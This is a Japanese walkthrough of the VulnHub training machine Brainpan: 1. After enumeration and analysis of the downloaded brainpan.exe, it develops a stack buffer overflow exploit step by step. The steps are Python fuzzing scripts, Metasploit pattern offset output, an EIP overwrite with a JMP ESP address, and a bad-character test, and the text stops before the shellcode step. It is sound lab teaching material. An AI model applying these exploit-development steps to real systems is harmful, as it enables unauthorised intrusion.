【VulnHub】Brainpan: 1 - Walkthrough -

「[Brainpan: 1](https://www.vulnhub.com/entry/brainpan-1,51/)」は、「[superkojiman](https://www.vulnhub.com/author/superkojiman,43/)」によって開発され、[VulnHub](https://www.vulnhub.com/)にて公開されているシリーズの一つです。

# リリース情報
名称: [Brainpan: 1](https://www.vulnhub.com/entry/brainpan-1,51/)
リリース日: 2013年3月20日
シリーズ: [Brainpan](https://www.vulnhub.com/series/brainpan,32/)
作者: [superkojiman](https://www.vulnhub.com/author/superkojiman,43/)
Twitter： [@superkojiman](https://twitter.com/@superkojiman)

# Walkthrough
## 列挙
### 稼働しているIPアドレスの特定
ネットワーク内のIPアドレスを探すために、`netdiscover`コマンドを使用します。

```
root@kali:~# netdiscover -r 172.16.208.0/24 
 Currently scanning: Finished!   |   Screen View: Unique Hosts                   
                                                                                 
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                 
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.208.1    00:50:56:c0:00:08      1      60  VMware, Inc.                  
 172.16.208.2    00:50:56:f3:32:8a      1      60  VMware, Inc.                  
 172.16.208.233  00:0c:29:f9:f6:fd      1      60  VMware, Inc.                  
 172.16.208.254  00:50:56:f0:ad:14      1      60  VMware, Inc.
```

これで、標的のIPアドレスが`172.16.208.233`であることが特定できました。

### 実行されているサービスの特定
次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。`nmap -Pn -sS -sV -p- 172.16.208.233`コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします

```
root@kali:~# nmap -Pn -sS -sV -p- 172.16.208.233
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-15 15:12 JST
Nmap scan report for 172.16.208.233
Host is up (0.00052s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.70%I=7%D=9/15%Time=5D7DD645%P=i686-pc-linux-gnu%r(NULL
SF:,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|\x
SF:20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x2
SF:0\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20
SF:\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20
SF:\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x20
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x20
SF:_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x20
SF:_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x20
SF:THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:F9:F6:FD (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.66 seconds
root@kali:~# 
```

### TCP 9999のスキャン
`nmap`コマンドの結果から、`9999/tcp`がオープン状態であったことが特定されています。そこで、`telnet`コマンドを使ってバナー情報を取得してみましょう。

```
root@kali:~# telnet 172.16.208.233 9999
Trying 172.16.208.233...
Connected to 172.16.208.233.
Escape character is '^]'.
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> 
                          ACCESS DENIED
Connection closed by foreign host.
root@kali:~# 
```

認証機構を有するサービスが稼働しています。`password`、`root`、`admin`、`brainpan`、`napniarb`など脆弱なパスワードを試行してみましたが、ログインはできませんでした。

### ウェブサイトの診断
ウェブサイトから攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。`dirb`コマンドを使用します。

```
root@kali:~# dirb http://172.16.208.233:10000/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Sep 15 18:22:10 2019
URL_BASE: http://172.16.208.233:10000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.16.208.233:10000/ ----
+ http://172.16.208.233:10000/bin (CODE:301|SIZE:0)                               
+ http://172.16.208.233:10000/index.html (CODE:200|SIZE:215)                      
                                                                                  
-----------------
END_TIME: Sun Sep 15 18:22:18 2019
DOWNLOADED: 4612 - FOUND: 2
root@kali:~#
```

### HTTPサービスのスキャン
`dirb`コマンドの結果に基づいて、Firefoxブラウザを使ってアクセスしてみます。

* `index.html`ファイル
<img width="765" alt="index.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/6ac8996f-fc8f-b669-fde5-68989576516a.png">

* `/bin`ディレクトリ
<img width="765" alt="bin.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/1411c83e-b253-1a66-8c08-3d8bbbe0d50d.png">

## brainpan.exe
### ダウンロード
`/bin`ディレクトリにある`brainpan.exe`をダウンロードします。

```
root@kali:~# wget http://172.16.208.233:10000/bin/brainpan.exe
--2019-09-15 18:30:15--  http://172.16.208.233:10000/bin/brainpan.exe
Connecting to 172.16.208.233:10000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21190 (21K) [application/x-msdos-program]
Saving to: ‘brainpan.exe’

brainpan.exe         100%[=====================>]  20.69K  --.-KB/s    in 0.007s  

2019-09-15 18:30:15 (2.88 MB/s) - ‘brainpan.exe’ saved [21190/21190]

root@kali:~# 
```

### 表層解析
ダウンロードしたファイルについて、まずは表層解析を行います。`file`コマンド、`binwalk`コマンドで確認してみます。

```
root@kali:~# file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
root@kali:~# binwalk brainpan.exe

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Microsoft executable, portable (PE)
6326          0x18B6          Unix path: /../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c

root@kali:~#
```

Windows のローダが認識可能な実行可能ファイルのようです。

#### ASCII文字列の確認
`strings`コマンドを使って、`brainpan.exe`ファイル中のASCII文字列について確認してみます。

```
root@kali:~# strings brainpan.exe
!This program cannot be run in DOS mode.
```

興味深いバナー情報が得られました。どうやら、標的環境で`9999/tcp`にて待ち受けていたのは、`brainpan.exe`プログラムだった模様です。

```
[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer
shitstorm
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|
[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              
                          >> 
                          ACCESS DENIED
                          ACCESS GRANTED
[+] initializing winsock...
[!] winsock init failed: %d
done.
[!] could not create socket: %d
[+] server socket created.
[!] bind failed: %d
[+] bind done on port %d
[+] waiting for connections.
[+] received connection.
[+] check is %d
[!] accept failed: %d
[+] cleaning up.
```
`accept`、`bind`、`listen`、`recv`、`send`、`socket`などの関数が確認できます。これらから、ネットワークサーバーアプリケーションであるといえます。
`str`系関数(`strcmp`、`strcpy`、`strlen`)が使われていることが確認できます。これらは書き込み先バッファのバッファ境界を無視するため、[危険な関数たち](https://www.ipa.go.jp/security/awareness/vendor/programmingv1/b06_02.html)として知られています。

```
abort
atexit
free
malloc
memset
printf
signal
strcmp
strcpy
strlen
WSACleanup
WSAGetLastError
WSAStartup
accept
bind
closesocket
htons
listen
recv
send
socket
```

### 動的解析
`wine`環境で、`brainpan.exe`を実行させてみましょう。

```
root@kali:~# wine brainpan.exe
000f:err:service:process_send_command receiving command result timed out
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
```

別のターミナルを立ち上げて、`9999/tcp`に接続してみます。やはり、推測のとおりだったようです。試しにパスワードとして`test`を入力してみました。

```
# telnet localhost 9999
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> test
                          ACCESS DENIED
Connection closed by foreign host.
```

このとき、`brainpan.exe`側では、`[get_reply] copied 6 bytes to buffer`の出力を確認することができました。

```
root@kali:~# wine brainpan.exe
000f:err:service:process_send_command receiving command result timed out
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
0015:err:service:process_send_command receiving command result timed out
0029:err:plugplay:handle_bus_relations Failed to load driver L"WineHID"
[+] received connection.
[get_reply] s = [test
]
[get_reply] copied 6 bytes to buffer
[+] check is 1
[get_reply] s = [test
]
[get_reply] copied 6 bytes to buffer
```

パスワードの数を数字10桁から少しずつ増やしていってみましょう。10、100、500、600と増やしていきました。

```
[get_reply] copied 6 bytes to buffer
[+] received connection.
[get_reply] s = [0123456789
]
[get_reply] copied 12 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789
]
[get_reply] copied 12 bytes to buffer
[+] received connection.
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 102 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 102 bytes to buffer
[+] received connection.
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 402 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 402 bytes to buffer
[+] received connection.
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 502 bytes to buffer
[+] check is -1
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 502 bytes to buffer
[+] received connection.
[get_reply] s = [012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 602 bytes to buffer
wine: Unhandled page fault on read access to 0x37363534 at address 0x37363534 (thread 0009), starting debugger...
```

600桁のパスワードを入力したところで、`wine: Unhandled page fault on read access to 0x37363534 at address 0x37363534 (thread 0009), starting debugger...`エラーが発生しました。

[ASCII文字列の確認]()で得られた文字列`shitstorm`に注目しました。`nc`コマンドでパイプし、送ってみました。
`ACCESS GRANTED`の表示が確認できました。ただ、これ以上の操作は難しそうです。

```
root@kali:~# echo shitstorm | nc 172.16.208.128 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >>                           ACCESS GRANTED
```

### 静的解析
`brainpan.exe`の静的解析を行います。次のWindows環境にプログラムをコピーしました。

```
c:\bin>ver

Microsoft Windows [Version 6.1.7600]

c:\bin>echo %PROCESSOR_ARCHITECTURE%
x86
```

#### 解析ツールの入手
予め、バイナリファイルの解析に有効な次のツールをインストールしておきます。

|ツール|URL|
|:---|:---|
|IDA Pro（アイダ プロ）|https://www.hex-rays.com/products/ida/support/download_freeware.shtml|
|Ghidra（ギドラ）|https://ghidra-sre.org/|
|OllyDbg（オリーデバッガ）|http://www.ollydbg.de/download.htm|
|Immunity Debugger（イミュニティー デバッガ）|https://www.immunityinc.com/products-immdbg.shtml|

#### Immunity Debugger
`Immunity Debugger`を起動し、[File] > [Open]または、`F3`にて、`brainpan.exe`を選択します。
[Debug] > [Run]または、`F9`にて、プログラムを実行します。
<img width="640" alt="debug.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b43c9793-40e9-f82c-7a39-82e557c8e236.png">

#### ファジング（Fuzzing）
`brainpan.exe`にファズ（fuzz）データを送信するペイロード`fuzzer_brainpan.py`プログラムをコーディングします。
このコードは`brainpan.exe`が受け入れる限り、`A`文字列を100ステップで送り続けます。

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"				# connect to Target IP Address
port = 9999					# connect to port

buffer = ["A"]
counter = 100

while len(buffer) <= 30:
    buffer.append("A" * counter)
    counter = counter + 100

for string in buffer:
    print ("Fuzzing with %s bytes" % len(string))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect((host,port))
    s.send(string + '\r\n')
    data = s.recv(1024)
    s.close()
```

結果、700 bytesまで受け入れていることが明らかとなりました。

```
root@kali:~# python fuzzer_brainpan.py 
Fuzzing with 1 bytes
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
```

#### EIPの奪取
ペイロードを実行した結果、`EIP`（Extended Instruction Pointer：拡張命
令ポインタ）の値が`41414141`（`A`の16進コードは`0x41`）で上書きされていることが確認できます。
<img width="437" alt="EIP.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7fecd978-5bed-f82c-e00f-d0172d9806d6.png">
続いて、`EIP`を上書きする正確な文字数を特定する必要があります。必要となるテスト用のパターンを作成する方法はいくつかあります。
`Immunity Debugger`プラグインの`mona.py`または、`Metasploit Framework`の`pattern_create`と`patter_offset`にて生成することが可能です。

```
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l
800Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
```

作成されたパターンを送信するようにコードを書き換えます。

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999

string = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"

print "Fuzzing..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(string)
data = s.recv(1024)
for line in data:
    if 'ACCESS' in line:
        print line
s.close()
```
`Python`コードを実行します。`Immunity Debugger`を確認すると、`EIP`が`35724134`にて上書きされていることが解ります。
<img width="437" alt="35724134.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7083f0da-f2c2-e224-a7a9-62bfe1c63e66.png">

`Metasploit Framework`の`patter_offset`を使用して、正確なバイトカウントを取得します。`524 byte`であることが判明しました。

```
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
[*] Exact match at offset 524
root@kali:~#
```

#### Offsetの検証

コードをさらに書き換えます。

* `524 bytes`の`A`（16進コードは`0x41`）でバッファを上書き
* `EIP`の値を`42424242`（`B`の16進コードは`0x42`）で上書き
* `500 bytes`の`C`（16進コードは`0x43`）を疑似ペイロードにみたて上書き

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999

junk = b"A" * 524
EIP = b"BBBB"
payload = b"C" * 500

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + EIP + payload)
s.close()
```
`Python`コードを実行します。`Immunity Debugger`を確認すると、`EIP`を`42424242`にて上書きすることに成功したことが確認できます。
<img width="437" alt="offset.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/617a9b43-1159-b1d3-ef0f-e1268c799431.png">

#### JMP ESPの検索
ペイロードを発動させるには、`EMP`を`JMP ESP`アドレスで上書きする必要があります。`CPU - main thread, module brainpan`ウィンドウにて、右クリックし、[Search for] > [All commands]を選択します。
<img width="885" alt="All commands.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/991ddac4-8cab-4552-295b-2898e6a5e597.png">
[Find all commands]ウィンドウにて、`JMP ESP`を指定して検索します。
<img width="272" alt="JMP ESP.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/98b13179-92a1-4b12-1824-372fb65f73ae.png">
メモリアドレス`311712F3`に`JMP ESP`命令が含まれているようです。
<img width="615" alt="Found commands.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/df31001e-45a2-5158-5923-7257bf37acac.png">
詳細を確認してみましょう。画面上部の検索ボタンをクリックし、メモリアドレス`311712F3`を入力します。[OK]をクリックして`Immunity Debugger`内でメモリアドレスを検索します。デバッガはアドレスにジャンプし、`JMP ESP`命令が実際に含まれていることを確認できます。
<img width="674" alt="search.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3b1a5046-a488-6019-f1cf-69bd8631c595.png">
`EIP = b"BBBB"`をメモリアドレス`311712F3`に置き換えるコードの書き換えを行います。
このとき、x86アーキテクチャはリトルエンディアン形式のメモリアドレスを使用することに注意が必要です。すなわち、メモリアドレスを逆に入力する必要があります。メモリアドレス`31 17 12 F3`であれば、変数内では16進形式で`\xF3\x12\x17\x31`として記述する必要があります。

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999

junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
payload = b"C" * 500

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + payload)
s.close()
```

コードを実行する前に、`Immunity Debugger`でブレークポイントの設定を行います。これにより、そのポイントを超えて命令を実行する前に一時停止するように指示することを狙っています。
`Immunity Debugger`で、メモリアドレス`311712F3`をクリックし、`F2`キーを押してブレークポイントを設定します。
<img width="591" alt="breakpoint.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/4350a594-50a8-0f54-837a-923da0e5f1b6.png">
`Python`コードを実行します。`Immunity Debugger`を確認すると、`ステータスバー`に、JMP ESP命令を含むメモリアドレス`311712F3`でブレークポイントに到達したことが示されます。
<img width="504" alt="paused.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/4b4777fa-e1f2-260b-02c1-ecdb84e28c8e.png">
`F7`キーを押して次のステップへ進めます。文字列`C`が上書きされているメモリアドレス`0022F930`へ移動します。
<img width="504" alt="0022F930.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/e29cbd5e-a65e-4ccc-7736-24ac93eb0f1f.png">

#### Bad Charactersの検証
一部の16進文字は、シェルコードの実行を妨げるため、禁じられている場合があります。これを`Bad Characters`と呼びます。シェルコードを生成する前に定義されている`Bad Characters`を見つける必要があります。
典型的な例として、`NULL文字`または`NULLバイト`と呼ばれる`\x00`があります。
`Bad Characters`を見つけるため、まずすべての16進文字を用意する必要があります。そこで、次の`Python`コードを使って16進文字の生成を行います。

```
import sys
for x in range(1,256):
    sys.stdout.write("\\x" + '{:02x}'.format(x))
```
用意した`Bad Characters`を送信するようにコードを書き換えます。

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999

junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + badchars)
s.close()
```

`Python`コードを実行し、`Immunity Debugger`を確認します。`ESP`レジスタの`Follow in Dump`機能を利用し、バッファ変数がどこかで切り捨てられている可能性を確認します。
